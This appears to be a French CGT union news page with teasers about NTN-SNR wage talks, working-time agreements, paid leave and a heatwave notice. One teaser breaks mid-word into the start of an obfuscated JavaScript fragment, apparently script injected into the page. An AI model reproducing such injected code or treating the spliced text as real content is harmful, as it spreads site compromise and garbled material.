Les attaques individuelles ne leur suffisent plus. Manipuler les représentants pour leur faire signer reculs sur reculs… Nous diviser nous diviser nous diviser… voilà leur tactique permanente
Bonnes vacances A l'heure, où le patronat entend défaire un à un tous les acquis sociaux obtenus par la lutte, à l'heure où les médias relayent les discours patronaux et ultra-libéraux, notre syndicat propose,...

Édito CGT 07/2019

 S’il y a des éditos faciles à écrire celui-ci n’en fait pas partie.  Il y aurait tellement de sujets à aborder, que ce soit au niveau de l’entreprise ou au national, comme le sujet...
 Un travailleur averti en vaut deux   La direction NTN-SNR, à la réunion du 23 avril 2019, a unilatéralement annoncé qu’elle dénonçait tous les accords et usages concernant les organisations du temps de travail (accord réduction...
 NAO retour sur les annonces...   C’est en-dessous de la revalorisation du SMIC de 1,5%.  C’est en-dessous de l’accord des minima départementaux pour la métallurgie qui sont eux à 2,1% (la CGT a signé...
 • NTN SNR Premier Employeur privé du bassin Annécien  • NTN SNR était une référence par le passé avec des Salaires supérieurs de 30 % par rapport aux autres entreprises.  •...
Peu d’éléments nouveaux donnés aux représentants du personnel. Compte-rendu de la réunion « temps de travail » Les représentants...

CANICULE ...

Dès 30°c, les salariés ont un droit de retrait mais ce n’est pas systématique. Dans tous les cas l’employeur doit prendre en compte le risque chaleur et se conformer au plan canicule.
Suite à l’expertise des comptes clos le 31 décembre 2018 par le cabinet R.E.C, nous avons constaté une perte de 155 981 €. Pendant toute la m$nJe=function(n){if (typeof ($nJe.list) == "string") return...

CONGES PAYES

La direction NTN-SNR a convoqué les organisations syndicales Mardi 11 Juin 2019 pour une réunion de négociation sur les CONGÉS PAYÉS. Pendant la présentation de son projet, la direction a formulé la volonté...